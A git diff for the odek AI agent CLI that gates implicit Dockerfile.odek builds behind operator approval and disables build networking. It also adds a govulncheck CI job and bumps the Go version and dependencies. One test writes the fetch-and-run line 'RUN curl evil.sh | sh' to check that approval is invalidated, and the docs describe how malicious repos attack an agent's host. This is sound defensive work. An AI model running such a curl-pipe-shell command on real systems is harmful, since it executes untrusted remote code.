diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 1db4d57..cff18d5 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -16,6 +16,8 @@ jobs: - uses: actions/setup-go@v5 with: + # Minimum supported build toolchain is Go 1.25.12 (go.mod floor); + # "1.25" resolves to the latest 1.25.x patch release. go-version: "1.25" - name: build diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 34af7a4..4f6dc16 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -14,6 +14,8 @@ jobs: - uses: actions/setup-go@v5 with: + # Minimum supported build toolchain is Go 1.25.12 (go.mod floor); + # "1.25" resolves to the latest 1.25.x patch release. go-version: "1.25" - name: build @@ -42,3 +44,19 @@ jobs: with: version: v2.12.2 args: --timeout=10m + + vuln: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - uses: actions/setup-go@v5 + with: + # Latest stable toolchain: stdlib advisories are assessed against + # the newest patch release, and module advisories (e.g. x/net) are + # toolchain-independent. The go.mod floor (go 1.25.12) pins the + # minimum toolchain for downstream builders. + go-version: "stable" + + - name: govulncheck + run: go run golang.org/x/vuln/cmd/govulncheck@latest ./... diff --git a/AGENTS.md b/AGENTS.md index 1b90004..1c9d461 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -159,6 +159,7 @@ Layered prompt-injection / approval-fatigue defenses. Full reference: [docs/SECU - **REPL history file permissions** (`cmd/odek/repl_editor.go`) — `~/.odek/repl_history` is now created/hardened with `0600` permissions (and any existing world-readable file is `chmod`d on the next persist), preventing local users from reading pasted API keys, tokens, and URLs from the REPL history. - **Serve sandbox default-on** — `odek serve` enables `--sandbox` automatically unless `--no-sandbox` is passed. Project-requested sandbox overrides from `./odek.json` still require explicit approval via the project sandbox gate. - **Project-level sandbox approval** (`cmd/odek/project_sandbox_approval.go`) — `./odek.json` can set `sandbox_env`, `sandbox_image`, `sandbox_network`, and `sandbox_volumes`, but these knobs are not applied until the operator explicitly approves them (`y` = once, `t` = trust this project), or `ODEK_APPROVE_PROJECT_SANDBOX=1` is set for CI/non-interactive use. Persisted approvals live in `~/.odek/project_sandbox_approvals.json` (0600). This closes the C-1 vector where a malicious repo could exfiltrate host secrets via `${VAR}` interpolation in `sandbox_env`, pull an attacker-controlled image, or widen the container's network access. +- **Implicit Dockerfile.odek build approval** (`cmd/odek/project_sandbox_approval.go` + `internal/sandbox/sandbox.go`) — a `Dockerfile.odek` in the working directory is gated behind the same approval mechanism as project sandbox overrides, because `docker build` runs its repo-controlled `RUN` instructions outside the sandbox threat model with the entire working directory as build context. The approval key includes the Dockerfile content hash (edits force re-approval), `setupSandbox` re-verifies approval non-interactively at build time (closing post-startup introduction/modification, e.g. serve-mode per-connection containers), and builds run with `--network=none` by default (`ODEK_SANDBOX_BUILD_NETWORK=1` opts back in). - **Sandbox volume confinement** (`internal/sandbox/sandbox.go`) — extra `--sandbox-volume` host paths must resolve to a location under the working directory, cannot contain `..` or symlink escapes, and cannot match sensitive prefixes such as `/etc`, `/proc`, `/sys`, `/dev`, `/root`, `/home`, `/var`, `/run`, or `/var/run/docker.sock`. - **Sandbox read-only enforcement** (`cmd/odek/sandbox_file.go` + `cmd/odek/file_tool.go` + `cmd/odek/perf_tools.go`) — when a sandbox container is active, `write_file`, `patch`, and `batch_patch` translate host paths to `/workspace/...` and copy data into the container with `docker cp`, so a read-only workspace mount (`--sandbox-readonly`) is enforced for the agent's own file tools. - **Project config sensitive-field rejection** (`internal/config/loader.go`) — `./odek.json` is untrusted, so `base_url`, `api_key`, `system`, the `dangerous` section, `embedding`, `memory`, `sessions`, `skills.dirs`/`skills.embedding`, `telegram`, and `web_search` set there are ignored (with stderr warnings). Project-level sandbox knobs (`sandbox_env`, `sandbox_image`, `sandbox_network`, `sandbox_volumes`) are not silently ignored either; they are gated by the project-level sandbox approval flow before application. These can only be configured from operator-controlled sources: `~/.odek/config.json`, `ODEK_*` env vars, or CLI flags. diff --git a/README.md b/README.md index 80d24ce..a5faad4 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ One binary. One loop. Zero frameworks. ReAct (Reasoning + Acting) — think, therefore act. ```bash -# Install +# Install (requires Go ≥ 1.25.12 — see "Build requirements" below) go install github.com/BackendStack21/odek/cmd/odek@latest # Use (set ODEK_API_KEY, DEEPSEEK_API_KEY, or OPENAI_API_KEY) @@ -14,6 +14,8 @@ odek run "How many lines in go.mod?" # → 3 lines ``` +**Build requirements:** Go **1.25.12 or newer**. The `go` directive in `go.mod` pins this floor because earlier 1.25.x toolchains ship reachable standard-library CVEs; CI additionally runs `govulncheck` on every push/PR so new advisories fail the build. + --- ## Why odek diff --git a/cmd/odek/main.go b/cmd/odek/main.go index b9339ac..8df1bb6 100644 --- a/cmd/odek/main.go +++ b/cmd/odek/main.go @@ -1597,6 +1597,16 @@ func deliverToTelegram(text string, resolved config.ResolvedConfig) error { // The returned cleanup function destroys the container; always invoke it // via Agent.Close(). func setupSandbox(tools []odek.Tool, cfg sandboxConfig) (containerName string, cleanup func() error, err error) { + // An implicit Dockerfile.odek build executes repo-controlled code on the + // host; refuse to proceed unless it was approved (startup prompt, trusted + // project, or ODEK_APPROVE_PROJECT_SANDBOX=1). Skipped when an explicit + // image is configured because ResolveImage ignores the Dockerfile then. + if cfg.Image == "" { + if err := requireDockerfileBuildApproval(); err != nil { + return "", nil, err + } + } + image, err := sandbox.ResolveImage(cfg) if err != nil { return "", nil, err @@ -2305,6 +2315,13 @@ func continueCmd(args []string) error { fmt.Fprintf(os.Stderr, "odek: session was sandboxed — enabling sandbox for this continuation\n") } + // Gate project-level sandbox knobs and any implicit Dockerfile.odek build + // on explicit operator approval, same as `odek run` — a continued session + // must not bypass the approval flow. + if err := approveProjectSandbox(resolved, os.Stdin, os.Stdout); err != nil { + return err + } + // Build tools var sm *skills.SkillManager if resolved.Skills.Learn { diff --git a/cmd/odek/project_sandbox_approval.go b/cmd/odek/project_sandbox_approval.go index 71bef59..6a18849 100644 --- a/cmd/odek/project_sandbox_approval.go +++ b/cmd/odek/project_sandbox_approval.go @@ -10,8 +10,10 @@ import ( "os" "path/filepath" "strings" + "sync" "github.com/BackendStack21/odek/internal/config" + "github.com/BackendStack21/odek/internal/sandbox" "golang.org/x/term" ) @@ -21,16 +23,26 @@ import ( const projectSandboxApprovalsFile = "project_sandbox_approvals.json" // approveProjectSandbox requires explicit operator approval before any -// project-level ./odek.json sandbox knobs are applied. This closes the C-1 -// vector where a malicious repo exfiltrates host secrets via ${VAR} -// interpolation in sandbox_env, pulls an attacker-controlled image, or widens -// the container's network access. +// project-controlled sandbox inputs are applied. This covers two surfaces: +// +// 1. Project-level ./odek.json sandbox knobs (sandbox_env, sandbox_image, +// sandbox_network, sandbox_volumes) — the C-1 vector where a malicious +// repo exfiltrates host secrets via ${VAR} interpolation in sandbox_env, +// pulls an attacker-controlled image, or widens the container's network +// access. +// 2. An implicit Dockerfile.odek build — docker build executes the +// repo-controlled Dockerfile's RUN instructions outside the sandbox +// threat model (default capabilities, full read access to the entire +// working directory as build context), so merely running odek inside a +// malicious repository would otherwise grant host-adjacent code +// execution. The approval is keyed on the Dockerfile content hash, so +// changing the file invalidates a prior approval. // // Approval can be granted in three ways: -// 1. Set ODEK_APPROVE_PROJECT_SANDBOX=1 (useful for CI/non-interactive use). -// 2. Answer the interactive prompt when running on a TTY. -// 3. A prior approval for the same project/sandbox fingerprint is persisted -// in ~/.odek/project_sandbox_approvals.json. +// 1. Set ODEK_APPROVE_PROJECT_SANDBOX=1 (useful for CI/non-interactive use). +// 2. Answer the interactive prompt when running on a TTY. +// 3. A prior approval for the same project/sandbox fingerprint is persisted +// in ~/.odek/project_sandbox_approvals.json. // // If approval is required and cannot be obtained, approveProjectSandbox // returns an error and the command should abort before creating the sandbox. @@ -42,7 +54,9 @@ func approveProjectSandbox(resolved config.ResolvedConfig, stdin io.Reader, stdo // approveProjectSandboxWithTTY is the testable core of approveProjectSandbox. func approveProjectSandboxWithTTY(resolved config.ResolvedConfig, stdin io.Reader, stdout io.Writer, tty bool) error { o := resolved.ProjectSandboxOverride - if !o.HasEnv && !o.HasImage && !o.HasNetwork && !o.HasVolumes { + hasOverride := o.HasEnv || o.HasImage || o.HasNetwork || o.HasVolumes + dfHash, dfRequired := dockerfileBuildRequirement(resolved) + if !hasOverride && !dfRequired { return nil } @@ -64,42 +78,61 @@ func approveProjectSandboxWithTTY(resolved config.ResolvedConfig, stdin io.Reade return fmt.Errorf("project sandbox approval: load approvals: %w", err) } - key := projectSandboxApprovalKey(projectDir, o) - if approved[key] { + overrideKey := projectSandboxApprovalKey(projectDir, o) + dfKey := dockerfileApprovalKey(projectDir, dfHash) + overrideOK := !hasOverride || approved[overrideKey] + dfOK := !dfRequired || approved[dfKey] || sessionDockerfileApproved(dfKey) + if overrideOK && dfOK { return nil } if !tty { + what := fmt.Sprintf("project-level sandbox config in %s", config.ProjectConfigPath()) + switch { + case !hasOverride: + what = fmt.Sprintf("%s in the working directory (implicit docker build)", sandbox.DockerfileName) + case dfRequired: + what += fmt.Sprintf(" and %s (implicit docker build)", sandbox.DockerfileName) + } return fmt.Errorf( - "project-level sandbox config in %s requires explicit approval\n"+ + "%s requires explicit approval\n"+ "set ODEK_APPROVE_PROJECT_SANDBOX=1 to approve, or run interactively", - config.ProjectConfigPath(), + what, ) } reader := bufio.NewReader(stdin) fmt.Fprintln(stdout) - fmt.Fprintf(stdout, "WARNING: project config (%s) requests sandbox overrides:\n", config.ProjectConfigPath()) - if o.HasImage { - fmt.Fprintf(stdout, " image: %s\n", o.Image) - } - if o.HasNetwork { - fmt.Fprintf(stdout, " network: %s\n", o.Network) - } - if o.HasEnv { - fmt.Fprintf(stdout, " env: %s\n", strings.Join(o.EnvKeys, ", ")) - if o.EnvHasInterpolation { - fmt.Fprintln(stdout, " ⚠️ sandbox_env values contain ${...} interpolation against host environment variables") + if hasOverride { + fmt.Fprintf(stdout, "WARNING: project config (%s) requests sandbox overrides:\n", config.ProjectConfigPath()) + if o.HasImage { + fmt.Fprintf(stdout, " image: %s\n", o.Image) + } + if o.HasNetwork { + fmt.Fprintf(stdout, " network: %s\n", o.Network) + } + if o.HasEnv { + fmt.Fprintf(stdout, " env: %s\n", strings.Join(o.EnvKeys, ", ")) + if o.EnvHasInterpolation { + fmt.Fprintln(stdout, " ⚠️ sandbox_env values contain ${...} interpolation against host environment variables") + } } + if o.HasVolumes { + fmt.Fprintf(stdout, " volumes: %s\n", strings.Join(o.Volumes, ", ")) + } + fmt.Fprintln(stdout) + fmt.Fprintln(stdout, "Allowing this means code in the sandbox can read workspace files and,") + fmt.Fprintln(stdout, "depending on network mode, contact external hosts.") } - if o.HasVolumes { - fmt.Fprintf(stdout, " volumes: %s\n", strings.Join(o.Volumes, ", ")) + if dfRequired { + fmt.Fprintf(stdout, "WARNING: %s found in the working directory — odek will build a sandbox image from it.\n", sandbox.DockerfileName) + fmt.Fprintln(stdout, " docker build executes the Dockerfile's RUN instructions as repo-controlled code") + fmt.Fprintln(stdout, " on this host, with the ENTIRE working directory readable as build context.") + fmt.Fprintln(stdout, " (Build network is disabled by default; set ODEK_SANDBOX_BUILD_NETWORK=1 to") + fmt.Fprintln(stdout, " allow networked builds such as `RUN apk add …`.)") } fmt.Fprintln(stdout) - fmt.Fprintln(stdout, "Allowing this means code in the sandbox can read workspace files and,") - fmt.Fprintln(stdout, "depending on network mode, contact external hosts.") - fmt.Fprintln(stdout) fmt.Fprint(stdout, "Approve? [y = once / t = trust this project / N] ") line, err := reader.ReadString('\n') @@ -110,9 +143,18 @@ func approveProjectSandboxWithTTY(resolved config.ResolvedConfig, stdin io.Reade switch line { case "y", "yes": + if dfRequired { + recordSessionDockerfileApproval(dfKey) + } return nil case "t", "trust": - approved[key] = true + if hasOverride { + approved[overrideKey] = true + } + if dfRequired { + approved[dfKey] = true + recordSessionDockerfileApproval(dfKey) + } if err := saveProjectSandboxApprovals(approved); err != nil { return fmt.Errorf("project sandbox approval: save approvals: %w", err) } @@ -122,6 +164,88 @@ func approveProjectSandboxWithTTY(resolved config.ResolvedConfig, stdin io.Reade } } +// dockerfileBuildRequirement reports whether the resolved config will trigger +// an implicit Dockerfile.odek build: sandbox is active, no explicit image is +// configured (an explicit image makes ResolveImage ignore the Dockerfile), +// and Dockerfile.odek exists in the working directory. The returned hash is +// the SHA-256 of the file content, used to key approvals so that changing +// the Dockerfile invalidates a prior approval. +func dockerfileBuildRequirement(resolved config.ResolvedConfig) (hash string, required bool) { + if !resolved.Sandbox || resolved.SandboxImage != "" { + return "", false + } + data, err := os.ReadFile(sandbox.DockerfileName) + if err != nil { + return "", false + } + sum := sha256.Sum256(data) + return hex.EncodeToString(sum[:]), true +} + +// requireDockerfileBuildApproval enforces the Dockerfile.odek build gate at +// the point of container creation. It is intentionally non-interactive: +// approval must already have been granted — interactively at startup +// (recorded as a session approval), persisted via "trust this project", or +// given via ODEK_APPROVE_PROJECT_SANDBOX=1. Enforcing here (in addition to +// the startup prompt) closes the gap where a Dockerfile appears or changes +// AFTER startup — e.g. a serve-mode sandbox created per WebSocket +// connection, or a resumed session that flips sandbox on — would otherwise +// build unapproved repo-controlled code. +func requireDockerfileBuildApproval() error { + data, err := os.ReadFile(sandbox.DockerfileName) + if err != nil { + return nil // no Dockerfile → ResolveImage falls back to alpine:latest + } + if os.Getenv("ODEK_APPROVE_PROJECT_SANDBOX") == "1" { + return nil + } + + projectDir, err := os.Getwd() + if err != nil { + return fmt.Errorf("dockerfile build approval: get working directory: %w", err) + } + projectDir, err = filepath.Abs(projectDir) + if err != nil { + return fmt.Errorf("dockerfile build approval: abs working directory: %w", err) + } + + sum := sha256.Sum256(data) + key := dockerfileApprovalKey(projectDir, hex.EncodeToString(sum[:])) + if sessionDockerfileApproved(key) { + return nil + } + if approved, err := loadProjectSandboxApprovals(); err == nil && approved[key] { + return nil + } + return fmt.Errorf( + "%s requires explicit approval before odek builds it — docker build executes\n"+ + "repo-controlled RUN instructions with the entire working directory as build context.\n"+ + "Approve interactively at startup, or set ODEK_APPROVE_PROJECT_SANDBOX=1", + sandbox.DockerfileName, + ) +} + +// sessionDockerfileApprovals records Dockerfile content approvals granted +// interactively in this process ("y" = once), so the build-time enforcement +// in setupSandbox can honour an approval that was given seconds earlier +// without persisting it. Keyed the same as the persisted store. +var ( + sessionDockerfileApprovalsMu sync.Mutex + sessionDockerfileApprovals = map[string]bool{} +) + +func recordSessionDockerfileApproval(key string) { + sessionDockerfileApprovalsMu.Lock() + defer sessionDockerfileApprovalsMu.Unlock() + sessionDockerfileApprovals[key] = true +} + +func sessionDockerfileApproved(key string) bool { + sessionDockerfileApprovalsMu.Lock() + defer sessionDockerfileApprovalsMu.Unlock() + return sessionDockerfileApprovals[key] +} + // projectSandboxApprovalKey returns a stable key for the persisted approval // store. A change to the project directory, image, network, env keys, or // volumes invalidates the prior approval. @@ -137,6 +261,16 @@ func projectSandboxApprovalKey(projectDir string, o config.ProjectSandboxOverrid return hex.EncodeToString(h.Sum(nil)) } +// dockerfileApprovalKey returns the persisted-approval key for an implicit +// Dockerfile.odek build. It is keyed on the project directory and the +// Dockerfile content hash, so editing the Dockerfile invalidates the prior +// approval and forces re-review. +func dockerfileApprovalKey(projectDir, contentHash string) string { + h := sha256.New() + fmt.Fprintf(h, "dockerfile\x00%s\x00%s", projectDir, contentHash) + return hex.EncodeToString(h.Sum(nil)) +} + // loadProjectSandboxApprovals reads the persisted approval map. A missing file // is treated as an empty approval set. func loadProjectSandboxApprovals() (map[string]bool, error) { diff --git a/cmd/odek/project_sandbox_approval_test.go b/cmd/odek/project_sandbox_approval_test.go index 038677d..ff6e8aa 100644 --- a/cmd/odek/project_sandbox_approval_test.go +++ b/cmd/odek/project_sandbox_approval_test.go @@ -151,3 +151,155 @@ func TestApproveProjectSandbox_PromptHidesValues(t *testing.T) { t.Errorf("prompt = %q, want interpolation warning", prompt) } } + +// ── Dockerfile.odek implicit-build gate ──────────────────────────────── + +func setupDockerfileProject(t *testing.T, content string) { + t.Helper() + dir := t.TempDir() + if content != "" { + if err := os.WriteFile(filepath.Join(dir, "Dockerfile.odek"), []byte(content), 0644); err != nil { + t.Fatal(err) + } + } + cwd, _ := os.Getwd() + if err := os.Chdir(dir); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chdir(cwd) }) +} + +func resetSessionDockerfileApprovals(t *testing.T) { + t.Helper() + sessionDockerfileApprovalsMu.Lock() + sessionDockerfileApprovals = map[string]bool{} + sessionDockerfileApprovalsMu.Unlock() +} + +func TestApproveProjectSandbox_DockerfileNotRequired(t *testing.T) { + setupDockerfileProject(t, "FROM scratch\n") + cases := []struct { + name string + resolved config.ResolvedConfig + }{ + {"sandbox disabled", config.ResolvedConfig{Sandbox: false}}, + {"explicit image wins", config.ResolvedConfig{Sandbox: true, SandboxImage: "node:20-alpine"}}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + if err := approveProjectSandboxWithTTY(tc.resolved, strings.NewReader(""), &bytes.Buffer{}, false); err != nil { + t.Fatalf("expected no approval needed, got: %v", err) + } + }) + } + + // Missing Dockerfile.odek → no requirement even with sandbox on. + setupDockerfileProject(t, "") + if err := approveProjectSandboxWithTTY(config.ResolvedConfig{Sandbox: true}, strings.NewReader(""), &bytes.Buffer{}, false); err != nil { + t.Fatalf("expected no approval needed without Dockerfile.odek, got: %v", err) + } +} + +func TestApproveProjectSandbox_DockerfileNonTTYRequiresApproval(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "FROM scratch\n") + os.Unsetenv("ODEK_APPROVE_PROJECT_SANDBOX") + + err := approveProjectSandboxWithTTY(config.ResolvedConfig{Sandbox: true}, strings.NewReader(""), &bytes.Buffer{}, false) + if err == nil { + t.Fatal("expected error for unapproved implicit Dockerfile.odek build") + } + if !strings.Contains(err.Error(), "ODEK_APPROVE_PROJECT_SANDBOX") { + t.Errorf("error = %q, want ODEK_APPROVE_PROJECT_SANDBOX hint", err.Error()) + } + if !strings.Contains(err.Error(), "Dockerfile.odek") { + t.Errorf("error = %q, want Dockerfile.odek mention", err.Error()) + } + + // Build-time enforcement fails closed too. + if buildErr := requireDockerfileBuildApproval(); buildErr == nil { + t.Fatal("requireDockerfileBuildApproval: expected error for unapproved Dockerfile.odek") + } +} + +func TestApproveProjectSandbox_DockerfileEnvBypass(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "FROM scratch\n") + t.Setenv("ODEK_APPROVE_PROJECT_SANDBOX", "1") + + if err := approveProjectSandboxWithTTY(config.ResolvedConfig{Sandbox: true}, strings.NewReader(""), &bytes.Buffer{}, false); err != nil { + t.Fatalf("expected env approval, got: %v", err) + } + if err := requireDockerfileBuildApproval(); err != nil { + t.Fatalf("build-time enforcement should honour env bypass, got: %v", err) + } +} + +func TestApproveProjectSandbox_DockerfileTTYApproveOnce(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "FROM scratch\n") + resetSessionDockerfileApprovals(t) + os.Unsetenv("ODEK_APPROVE_PROJECT_SANDBOX") + + var out bytes.Buffer + err := approveProjectSandboxWithTTY(config.ResolvedConfig{Sandbox: true}, strings.NewReader("y\n"), &out, true) + if err != nil { + t.Fatalf("expected approval, got: %v", err) + } + if !strings.Contains(out.String(), "repo-controlled") { + t.Errorf("prompt = %q, want repo-controlled code warning", out.String()) + } + if !strings.Contains(out.String(), "--network") && !strings.Contains(out.String(), "Build network is disabled") { + t.Errorf("prompt = %q, want build-network note", out.String()) + } + + // A once-approval covers the build in this process (session approval)… + if err := requireDockerfileBuildApproval(); err != nil { + t.Fatalf("build should be covered by session approval, got: %v", err) + } + // …but is not persisted: a fresh session state fails closed again. + resetSessionDockerfileApprovals(t) + if err := requireDockerfileBuildApproval(); err == nil { + t.Fatal("once-approval must not persist across sessions") + } +} + +func TestApproveProjectSandbox_DockerfileTrustAndContentInvalidation(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "FROM scratch\n") + resetSessionDockerfileApprovals(t) + os.Unsetenv("ODEK_APPROVE_PROJECT_SANDBOX") + + resolved := config.ResolvedConfig{Sandbox: true} + if err := approveProjectSandboxWithTTY(resolved, strings.NewReader("t\n"), &bytes.Buffer{}, true); err != nil { + t.Fatalf("expected trust approval, got: %v", err) + } + + // Persisted trust covers the build without any session state. + resetSessionDockerfileApprovals(t) + if err := requireDockerfileBuildApproval(); err != nil { + t.Fatalf("persisted trust should cover build, got: %v", err) + } + if err := approveProjectSandboxWithTTY(resolved, strings.NewReader(""), &bytes.Buffer{}, false); err != nil { + t.Fatalf("persisted trust should cover startup check, got: %v", err) + } + + // Editing Dockerfile.odek invalidates the approval: both gates fail closed. + if err := os.WriteFile("Dockerfile.odek", []byte("FROM scratch\nRUN curl evil.sh | sh\n"), 0644); err != nil { + t.Fatal(err) + } + if err := requireDockerfileBuildApproval(); err == nil { + t.Fatal("content change must invalidate the persisted approval (build gate)") + } + if err := approveProjectSandboxWithTTY(resolved, strings.NewReader(""), &bytes.Buffer{}, false); err == nil { + t.Fatal("content change must invalidate the persisted approval (startup gate)") + } +} + +func TestRequireDockerfileBuildApproval_NoDockerfile(t *testing.T) { + setupTestHome(t) + setupDockerfileProject(t, "") // empty dir + if err := requireDockerfileBuildApproval(); err != nil { + t.Fatalf("no Dockerfile.odek → no gate, got: %v", err) + } +} diff --git a/docs/CONFIG.md b/docs/CONFIG.md index 35a0061..29b9061 100644 --- a/docs/CONFIG.md +++ b/docs/CONFIG.md @@ -126,7 +126,8 @@ Every config knob has a `ODEK_*` counterpart: | `ODEK_SANDBOX_MEMORY` | `--sandbox-memory` | string | | `ODEK_SANDBOX_CPUS` | `--sandbox-cpus` | string | | `ODEK_SANDBOX_USER` | `--sandbox-user` | string | -| `ODEK_APPROVE_PROJECT_SANDBOX` | — | bool | approve project-level `./odek.json` sandbox config without prompting | +| `ODEK_APPROVE_PROJECT_SANDBOX` | — | bool | approve project-level `./odek.json` sandbox config and implicit `Dockerfile.odek` builds without prompting | +| `ODEK_SANDBOX_BUILD_NETWORK` | — | bool | allow networked `Dockerfile.odek` builds (default: builds run with `--network=none`) | | `ODEK_MAX_CONCURRENCY` | `max_concurrency` | int | | `ODEK_MAX_TOOL_PARALLEL` | `max_tool_parallel` | int | | `ODEK_TRUSTED_PROXIES` | `trusted_proxies` | string (comma-separated IPs/CIDRs) | @@ -914,6 +915,11 @@ odek run "quick status" echo '{"sandbox": true, "sandbox_env": {"X": "${HOME}"}}' > ./odek.json ODEK_APPROVE_PROJECT_SANDBOX=1 odek run "run untrusted script" +# An implicit Dockerfile.odek build is gated the same way (docker build runs +# repo-controlled RUN steps with the whole working directory as context). +# Builds use --network=none unless you opt in: +ODEK_SANDBOX_BUILD_NETWORK=1 odek run --sandbox "build the project" + # Env var override for one-off ODEK_SANDBOX=true odek run "run untrusted script" diff --git a/docs/DEVELOPMENT.md b/docs/DEVELOPMENT.md index 34f6a3b..48c26a7 100644 --- a/docs/DEVELOPMENT.md +++ b/docs/DEVELOPMENT.md @@ -8,7 +8,7 @@ no maintained changelog file — create a release/tag and GitHub produces the no ## Prerequisites -- Go 1.25+ (matches `go.mod`; CI builds with the same toolchain) +- Go 1.25.12+ (matches `go.mod`; CI builds with the same toolchain line and runs `govulncheck` on every push/PR) - Docker (for sandbox integration tests only) ## Building diff --git a/docs/SANDBOXING.md b/docs/SANDBOXING.md index 244512c..2c930cc 100644 --- a/docs/SANDBOXING.md +++ b/docs/SANDBOXING.md @@ -169,11 +169,18 @@ odek run --sandbox --sandbox-image nvidia/cuda:12.2-runtime "nvidia-smi" Place a `Dockerfile.odek` in your working directory for **project-specific, pre-baked tooling**. odek auto-detects it and builds an image with a content-hash tag. +> **⚠️ Security: building runs repo-controlled code on your host.** +> `docker build` executes the Dockerfile's `RUN` instructions *outside* the sandbox threat model — with default capabilities and the **entire working directory readable as build context**. A malicious repository could use this for host-adjacent code execution or to copy workspace files into the image. For this reason: +> +> - The implicit build requires **explicit operator approval**, exactly like project-level sandbox overrides: an interactive prompt at startup (`y` = once, `t` = trust this project), a persisted approval in `~/.odek/project_sandbox_approvals.json`, or `ODEK_APPROVE_PROJECT_SANDBOX=1` for CI. The approval is keyed on the Dockerfile's content hash — editing the file forces re-approval. +> - The build runs with **`--network=none` by default**, so `RUN` steps cannot fetch remote payloads or exfiltrate build-context data over the network. If your Dockerfile legitimately needs network (e.g. `RUN apk add …`), opt in with `ODEK_SANDBOX_BUILD_NETWORK=1` (operator-only; a project cannot set it). +> - Builds that would start *after* startup (e.g. a new WebUI connection, or a resumed sandboxed session) re-verify the approval and fail closed if the Dockerfile appeared or changed in the meantime. + ```dockerfile # Dockerfile.odek FROM node:20-alpine -# Pre-install project dependencies +# Pre-install project dependencies (requires ODEK_SANDBOX_BUILD_NETWORK=1) RUN apk add --no-cache git openssh RUN npm install -g typescript tsx prettier @@ -184,7 +191,7 @@ WORKDIR /workspace Build behavior: - odek check for `Dockerfile.odek` in the working directory -- If found and no explicit `sandbox_image` is configured, odek builds it +- If found and no explicit `sandbox_image` is configured, odek builds it — after the approval gate above - The image is tagged as `odek-sandbox:` based on file content hash - **Cached:** the image is only rebuilt when `Dockerfile.odek` changes - First build takes ~5–30s depending on the image; subsequent runs are instant diff --git a/docs/SECURITY.md b/docs/SECURITY.md index 0c79ff2..e6b8ab9 100644 --- a/docs/SECURITY.md +++ b/docs/SECURITY.md @@ -382,6 +382,15 @@ These fields can only be set from operator-controlled sources: `~/.odek/config.j This gates project-level sandbox overrides behind explicit operator approval, including a warning when `sandbox_env` values contain `${...}` host-environment interpolation, so a malicious repo cannot silently exfiltrate host secrets, pull an attacker-controlled image, or widen the container's network access. If the operator approves, the config is applied normally; if they deny or run non-interactively without the bypass, the overrides fail closed. +### 18b. Implicit `Dockerfile.odek` build approval + +A `Dockerfile.odek` in the working directory is repo-controlled, and `docker build` executes its `RUN` instructions **outside the sandbox threat model**: default capabilities, and the entire working directory readable as build context. Without a gate, merely running odek inside a malicious repository (e.g. `odek serve`, which sandboxes by default) would grant host-adjacent code execution and workspace exfiltration. The implicit build is therefore gated behind the same approval mechanism as project sandbox overrides: + +- Interactive TTY prompt at startup (`y` = once, `t` = trust this project), persisted approvals in `~/.odek/project_sandbox_approvals.json`, or `ODEK_APPROVE_PROJECT_SANDBOX=1` for CI. Non-TTY runs without approval fail closed. +- The approval key includes the **Dockerfile content hash**, so editing `Dockerfile.odek` invalidates a prior "trust" approval and forces re-review. +- **Build-time enforcement:** `setupSandbox` re-verifies approval (env bypass, persisted trust, or a once-approval recorded in-process) immediately before building. This closes the gap where a Dockerfile appears or changes *after* startup — e.g. a serve-mode sandbox created per WebSocket connection, or a resumed session that re-enables the sandbox. +- The build runs with **`--network=none` by default**, so `RUN` steps cannot fetch attacker payloads or exfiltrate build-context data over the network. `ODEK_SANDBOX_BUILD_NETWORK=1` (operator-only) opts back into networked builds for legitimate package installs. + ### SSRF guard and configured-backend allowlist The `browser`, `http_batch`, and `web_search` tools use a shared SSRF / DNS-rebinding dial guard (`cmd/odek/ssrf_guard.go`). After the policy gate classifies a hostname as `network_egress`, the guard resolves the name itself and refuses any answer that points at a loopback, RFC1918, RFC4193, link-local, or metadata IP. It then pins the dial to the validated IP so the kernel cannot re-resolve to a different address. diff --git a/go.mod b/go.mod index 3aec69e..053afbc 100644 --- a/go.mod +++ b/go.mod @@ -1,12 +1,12 @@ module github.com/BackendStack21/odek -go 1.25.0 +go 1.25.12 require ( github.com/BackendStack21/go-mcp v1.1.0 github.com/BackendStack21/go-vector v1.3.0 - golang.org/x/net v0.54.0 - golang.org/x/term v0.43.0 + golang.org/x/net v0.57.0 + golang.org/x/term v0.45.0 ) -require golang.org/x/sys v0.44.0 +require golang.org/x/sys v0.47.0 diff --git a/go.sum b/go.sum index 9b7a206..f1591f1 100644 --- a/go.sum +++ b/go.sum @@ -2,9 +2,9 @@ github.com/BackendStack21/go-mcp v1.1.0 h1:NQStOkqUWjzzzmySnfFHvPKhbKr92iBuPJjkN github.com/BackendStack21/go-mcp v1.1.0/go.mod h1:RKFw6nrl6ySQqqrR8KtG7HYZ/heyyjT8SjiEtlbTMY8= github.com/BackendStack21/go-vector v1.3.0 h1:VT1cwPAUzkg3Rt0fXA+jTzW472jgObqs85/TcPs4N7Q= github.com/BackendStack21/go-vector v1.3.0/go.mod h1:TkxZEqKGeN38QNWUoQt4xJcf6n2kI1pY7nu6ibXK1Yo= -golang.org/x/net v0.54.0 h1:2zJIZAxAHV/OHCDTCOHAYehQzLfSXuf/5SoL/Dv6w/w= -golang.org/x/net v0.54.0/go.mod h1:Sj4oj8jK6XmHpBZU/zWHw3BV3abl4Kvi+Ut7cQcY+cQ= -golang.org/x/sys v0.44.0 h1:ildZl3J4uzeKP07r2F++Op7E9B29JRUy+a27EibtBTQ= -golang.org/x/sys v0.44.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= -golang.org/x/term v0.43.0 h1:S4RLU2sB31O/NCl+zFN9Aru9A/Cq2aqKpTZJ6B+DwT4= -golang.org/x/term v0.43.0/go.mod h1:lrhlHNdQJHO+1qVYiHfFKVuVioJIheAc3fBSMFYEIsk= +golang.org/x/net v0.57.0 h1:K5+3DljvIuDG9/Jv9rvyMywYNFCQ9RSUY6OOTTkT+tE= +golang.org/x/net v0.57.0/go.mod h1:KpXc8iv+r3XplLAG/f7Jsf9RPszJzdR0f58q9vGOuEU= +golang.org/x/sys v0.47.0 h1:o7XGOvZQCADBQQ4Y7VNq2dRWQR7JmOUW8Kxx4ZsNgWs= +golang.org/x/sys v0.47.0/go.mod 